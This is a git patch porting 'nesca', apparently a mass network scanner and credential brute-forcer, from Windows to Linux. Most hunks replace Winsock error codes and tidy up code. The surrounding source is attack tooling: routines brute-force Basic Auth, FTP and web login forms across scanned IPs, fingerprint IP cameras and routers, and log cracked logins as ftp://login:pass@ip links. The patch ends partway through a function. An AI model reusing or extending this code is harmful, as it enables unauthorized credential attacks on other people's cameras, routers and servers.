From b6dc14839e158daffbe50557c6ffca00a3758c73 Mon Sep 17 00:00:00 2001 From: cora48 Date: Fri, 27 Feb 2015 16:55:35 +0300 Subject: [PATCH] Finally! x64 linux-nesca emerging! --- .gitignore | 3 + CheckKey_Th.cpp | 3 +- CheckProxy_Th.cpp | 1 - DrawerTh_VoiceScanner.cpp | 4 +- README.md | 9 + connector.cpp | 81 ++++--- externData.h | 7 + externFunctions.h | 4 +- finder.cpp | 456 +++++++++++++++++++++----------------- mainResources.h | 37 +++- nesca.pro | 12 +- nesca_3.cpp | 377 +++++++++++++++++++------------ nesca_3.h | 4 +- nesca_3.qrc | 1 - nesca_3.ui | 2 + nesca_startModule.cpp | 121 +++++----- oIRC_Th.cpp | 143 ++++++------ 17 files changed, 720 insertions(+), 545 deletions(-) create mode 100644 .gitignore create mode 100644 README.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1651965 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*.swo +*.swp +debugData.txt diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index d0d0b4b..35b7fd7 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -95,8 +95,7 @@ int KeyCheckerMain() return -1; }; - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); + ZeroMemory(msg, sizeof(msg)); test = recv(sock, msg, sizeof(msg), 0); char buff[512] = {0}; diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp index c87746d..403075a 100644 --- a/CheckProxy_Th.cpp +++ b/CheckProxy_Th.cpp @@ -29,7 +29,6 @@ void CheckProxyLogic() strcpy(ircProxy, str2.toUtf8().data()); strcpy(ircProxyPort, str1.toUtf8().data()); - int err, yes = 1; SOCKET pSock; char precvBuff[2048] = {0}; sockaddr_in addr; diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp index dea5945..a668ed8 100644 --- a/DrawerTh_VoiceScanner.cpp +++ b/DrawerTh_VoiceScanner.cpp @@ -12,7 +12,7 @@ void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor) void DrawerTh_VoiceScanner::doEmitDrawTextPlacers() { emit vsTh->sDrawTextPlacers(); -}; +} void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH) { @@ -132,4 +132,4 @@ void DrawerTh_VoiceScanner::run() ssh = 0; }; }; -}; \ No newline at end of file +}; diff --git a/README.md b/README.md new file mode 100644 index 0000000..5afc3b1 --- /dev/null +++ b/README.md @@ -0,0 +1,9 @@ +Nesca для Linux. Протестировано на Fedora 20 и РАБОТАЕТ(!) +
+``` + +Linux 3.18.6-100.fc20.x86_64 #1 SMP Fri Feb 6 22:55:01 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux +``` +1. libssh +2. openssl +3. весь qt-фреймворк (лол) diff --git a/connector.cpp b/connector.cpp index f42c6fa..e43fbd5 100644 --- a/connector.cpp +++ b/connector.cpp @@ -548,14 +548,12 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) char tPass[256] = {0}; char curLogin[256] = {0}; char curPass[256] = {0}; - int cCode; - int cErrCode; + int cCode; int dataSz = 0; char request[REQUEST_MAX_SIZE] = {0}; char recvBuff[4096] = {0}; char recvBuff2[512] = {0}; - char pass[256] = {0}; - int WSAErr; + char pass[256] = {0}; char localBuff[4096] = {0}; strcpy(localBuff, headerMsg); @@ -674,11 +672,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(cCode == SOCKET_ERROR) { int errorCode = WSAGetLastError(); - if(errorCode == 10038) { + if(errorCode == ENOTSOCK) { - while(errorCode == 10038) + while(errorCode == ENOTSOCK) { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -688,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) CSSOCKET(sock); - if(errorCode != 10060) + if(errorCode != ETIMEDOUT) { stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); }; @@ -920,9 +918,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(WSAGetLastError() == 10038) + while(WSAGetLastError() == ENOTSOCK) { - if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sockFTP); sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); @@ -1248,14 +1246,17 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) ZeroMemory(recvBuff, sizeof(recvBuff)); } else - { - char err[128] = {0}; - + { int WSAerr; if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = 10060; + else WSAerr = ETIMEDOUT; - if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0) + if(gThreads > 1 + && WSAerr != ETIMEDOUT/*Timeout*/ + && WSAerr != ENOBUFS/*POOLOVERFLOW*/ + && WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/ + && WSAerr != ECONNRESET/*WSAECONNRESET*/ + && WSAerr != 0) { stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); }; @@ -1424,7 +1425,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) CSTR->size = 0; return 0; }; - }; + } else return -1; } else { @@ -1522,9 +1523,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C if(iResult == SOCKET_ERROR) { - iError = WSAGetLastError(); - - if(iError == 10035) + iError = WSAGetLastError(); + if(iError == EINPROGRESS) { fd_set read_fs; FD_ZERO(&read_fs); @@ -1635,13 +1635,13 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C else { ++offlines; - if(iError == 10055) + if(iError == ENOBUFS) { - stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); + stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); } - else if(iError == 10049) + else if(iError == EADDRNOTAVAIL) { - stt->doEmitionRedFoundData("[10049] " + QString(ip) + + stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + ":" + QString::number(port) + " - " + QString::number(iError)); } @@ -1703,12 +1703,10 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV char b[16] = {0}; char request[2048] = {0}; - char argData[256] = {0}; - char recvBuffer[65536] = {0}; + char argData[256] = {0}; Connector con; - conSTR CSTR; - int cRes; + conSTR CSTR; int firstCycle = 0; if(strstri(methodVal, "get") != NULL) { @@ -1720,8 +1718,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV { if(globalScanFlag == false) break; CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; + CSTR.size = 0; strcpy(request, "GET "); strcat(request, actionVal); @@ -1748,8 +1745,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close"); strcat(request, "\r\n\r\n"); - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); + if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); + else con._EstablishConnection(ip, port, request, &CSTR); if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; @@ -1847,8 +1844,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV { if(globalScanFlag == false) break; CSTR.lowerBuff = NULL; - CSTR.size = 0; - cRes = 0; + CSTR.size = 0; strcpy(argData, userVal); strcat(argData, "="); @@ -1882,8 +1878,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); ++passCounter; - if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); - else cRes = con._EstablishConnection(ip, port, request, &CSTR); + if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR); + else con._EstablishConnection(ip, port, request, &CSTR); if(CSTR.lowerBuff != NULL) { @@ -2151,7 +2147,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int }; #else if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else { return -1; @@ -2161,18 +2157,17 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int cErrCode = WSAGetLastError(); - while(cErrCode == 10038) + while(cErrCode == ENOTSOCK) { CSSOCKET(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); cErrCode = WSAGetLastError(); - if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); }; if(cCode != SOCKET_ERROR) - { - int x = 1; + { Activity += strlen(request); if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) @@ -2637,6 +2632,7 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) { return _EstablishSSHConnection(ip, port, CSTR, banner); }; + return -1; } int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) @@ -2654,7 +2650,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) CSTR.lowerBuff = NULL; CSTR.size = 0; - int strFlag = 0; strcpy(mes, buff1); strcat(mes, ip); int port = atoi(portC); @@ -2688,6 +2683,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) { delete []CSTR.lowerBuff; CSTR.lowerBuff = NULL; - }; - strFlag = 1; + }; + return 0; } diff --git a/externData.h b/externData.h index dc01889..0d235fe 100644 --- a/externData.h +++ b/externData.h @@ -4,6 +4,13 @@ #define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; +#ifndef CP_UTF8 +#define CP_UTF8 65001 +#endif +#ifndef CP_ACP +#define CP_ACP 0 +#endif + extern QJsonArray *jsonArr; extern unsigned long long gTargetsOverall, Activity; diff --git a/externFunctions.h b/externFunctions.h index 60eaab1..dcb722b 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -1,7 +1,7 @@ extern std::string toLowerStr(const char *str); -extern int recvS(int lSock, char *recvBuffT, int len, int mode); +extern int recvS(int lSock, char *recvBuffT, int len); extern int sendS(int lSock, char *msg, int len, int mode); -extern void UserNickInit(SOCKET lSock); +extern void UserNickInit(); extern void GetNicks(); extern int startScan(char* argv); extern void BConInc(); diff --git a/finder.cpp b/finder.cpp index 393edb8..aebe42c 100644 --- a/finder.cpp +++ b/finder.cpp @@ -4,7 +4,7 @@ #include "externFunctions.h" #include "externData.h" -char* __cdecl strstri(char *_Str, const char *_SubStr) +char* strstri(char *_Str, const char *_SubStr) { if(_Str != NULL) { @@ -15,7 +15,8 @@ char* __cdecl strstri(char *_Str, const char *_SubStr) if(offset < 0) return NULL; else return (char*)(_Str + offset); }; -}; + return 0; +} bool gGlobalTrackLocked = false; char *_findFirst(char *str, char *delim) @@ -31,7 +32,8 @@ char *_findFirst(char *str, char *delim) }; return NULL; -}; +} + char *_findLast(char *str, char *delim) { int sz = strlen(str); @@ -46,7 +48,8 @@ char *_findLast(char *str, char *delim) }; return (char *)(str + savedPosition); -}; +} + char *GetCodePage(char *str) { char cdpg[32] = {0}; @@ -72,6 +75,7 @@ char *GetCodePage(char *str) else { stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; }; } else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; } } else @@ -160,13 +167,15 @@ char *GetCodePage(char *str) else { stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + return "NULL"; }; } else { return "NULL"; }; -}; +} + int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) { if(strlen(buffcpy) == 0) return -1; @@ -202,7 +211,8 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) ZeroMemory(negWord, 256); }; return 0; -}; +} + int globalSearchPrnt(char *buffcpy) { if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL @@ -224,7 +234,7 @@ int globalSearchPrnt(char *buffcpy) }; return -1; }; -}; +} // 500 < 1600 Lexems lxf; @@ -276,7 +286,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL @@ -314,7 +324,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) if(f) return 7; return 0; -}; +} + //> 1600 int _mainFinderSecond(char *buffcpy, int port, char *ip) { @@ -360,7 +371,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam @@ -379,7 +390,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL - && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX + && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || @@ -401,7 +412,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(globalSearchPrnt(buffcpy) == -1) return -1; if(strstr(buffcpy, "
#recvSpan{display: inline-block;width: 150px;} #hostSpan{display: inline-block;width: 200px;}body { background-color: #141414; font-family: monospace; font-size:95%;} #ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;}#ipd:hover{color: #909090;background:#202020;}#tit{text-align:center;border:1px solid #5d5d5d;}a{color: gray;text-decoration: underline;} a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}"}; char topBuff[1024] = {"

"}; -void fputsf(char *ip, char *port, char *text, int flag, char *msg) +void fputsf(char *text, int flag, char *msg) { - FILE *file = NULL; - bool firstTimeYeah = false; + FILE *file = NULL; + #pragma region FileExistenceCheck if(flag == 0 || flag == 15 || flag == -10) { @@ -566,7 +579,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) { stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); }; -#pragma endregion + if(file != NULL) { time_t rtime; @@ -687,7 +700,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) fputs (topBuff, file); }; -#pragma endregion + int innerCounter = 0; while(fOpened) { @@ -710,7 +723,8 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) { stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]"); }; -}; +} + void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) { char log[4096] = {0}, msg[512] = {0}; @@ -759,9 +773,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h strcat(msg, ""); resMes += " : " + strf.toHtmlEscaped() + ""; }; -#pragma region QTGUI_Area + stt->doEmitionFoundData(resMes); -#pragma endregion strcpy(log, ""); @@ -827,10 +840,11 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h }; strcat(log, "\n"); - fputsf (ip, port, log, flag, msg); + fputsf (log, flag, msg); ZeroMemory(msg, strlen(msg)); -}; +} + void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -860,11 +874,12 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, strcat(log, finalstr); strcat(log, ""); strcat(log, "\n"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion - fputsf (ip, port, log , flag, "Basic Authorization"); -}; + + fputsf (log , flag, "Basic Authorization"); +} + void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -888,11 +903,12 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, strcat(log, pass); strcat(log, ""); strcat(log, "\n"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion - fputsf (ip, port, log , flag, "Web Form"); -}; + + fputsf (log , flag, "Web Form"); +} + void _getFormVal(char *data, char *result, char *key, char *path = NULL) { char parVal[256] = {0}; @@ -907,6 +923,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) { strncpy(parVal, data, 256); }; + int sz = 0; char parVal2[256] = {0}; @@ -923,7 +940,9 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) }; }; }; + char *keyResult1 = strstri(parVal, key); + if(keyResult1 != NULL) { char *pkeyResult2 = _findFirst(keyResult1, " >"); @@ -1018,7 +1037,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL) stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); }; }; -}; +} static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; std::vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); @@ -1045,7 +1064,8 @@ char *_getAttribute(char *str, char *attrib) else return ""; } else return ""; -}; +} + void _getInputVal(std::vector inputVec, char *buff, char *key) { char *pos = NULL; @@ -1084,7 +1104,8 @@ void _getInputVal(std::vector inputVec, char *buff, char *key) }; }; }; -}; +} + void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) { char cookie[1024] = {0}; @@ -1256,9 +1277,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path }; }; isActive = 0; -}; +} -void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC) +void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) { lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); @@ -1275,8 +1296,9 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); }; -}; -void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +} + +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd, char *data) { isActive = 1; lopaStr lps; @@ -1299,7 +1321,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int }; ZeroMemory(temp, sizeof(temp)); -}; +} + const char *GetTitle(char* str) { char delimiterT[] = ""; @@ -1413,12 +1436,12 @@ const char *GetTitle(char* str) }; return finalstr; -}; +} + void _saveSSH(char *ip, int port, int recd, char *buffcpy) { if(buffcpy != NULL) - { - char b[16] = {0}; + { char log[2048] = {0}; char logEmit[2048] = {0}; char goodStr[256] = {0}; @@ -1433,7 +1456,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) char portString[16] = {0}; sprintf(portString, "%d", port); sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner); - sprintf(log, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port, banner); + sprintf(logEmit, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port); // strcpy(log, "[SSH] <font color=\"#00a8ff\">"); // strcat(log, goodStr); @@ -1453,7 +1476,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) // strcat(logEmit, itoa(port, b, 10)); // strcat(logEmit, "</span>"); - fputsf (ip, portString, log, -22, "SSH"); + fputsf (log, -22, "SSH"); char loginSSH[128] = {0}; char passSSH[128] = {0}; char *ptrl1 = strstr(buffcpy, ":"); @@ -1462,7 +1485,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) char *ptrl2 = strstr(buffcpy, "@"); lpsz = ptrl2 - ptrl1; strncpy(passSSH, ptrl1 + 1, lpsz); - fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); + fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); } else @@ -1474,11 +1497,10 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) { stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]"); }; -}; +} + int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) { - char b[16] = {0}; - if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) { @@ -1564,260 +1586,272 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * char log[2048] = {0}; char logEmit[2048] = {0}; - strcpy(logEmit, "[FTP]:"); - strcpy(log, "[FTP]:<font color=\"#0f62e2\">"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</font>"); - strcat(log, "; Received: "); - strncat(log, std::to_string(recd).c_str(), 100); +// strcpy(logEmit, "[FTP]:"); +// strcpy(log, "[FTP]:<font color=\"#0f62e2\">"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "</font>"); +// strcat(log, "; Received: "); +// strncat(log, std::to_string(recd).c_str(), 100); - lps = con._FTPLobby(ip, p, &ps); + lps = con._FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { ++PieBA; - strcat(log, "<a href=\"ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); - strcat(log, ip); - strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); - strcat(log, ps.headr); - strcat(logEmit, "<a href=\"ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); - strcat(logEmit, ip); - strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); + sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s", + ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr); + sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>", + lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip); + +// strcat(log, "<a href=\"ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); +// strcat(log, ip); +// strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); +// strcat(log, ps.headr); + +// strcat(logEmit, "<a href=\"ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); - fputsf (ip, port, log, flag, "FTP"); + fputsf (log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); - #pragma region QTGUI_Area + 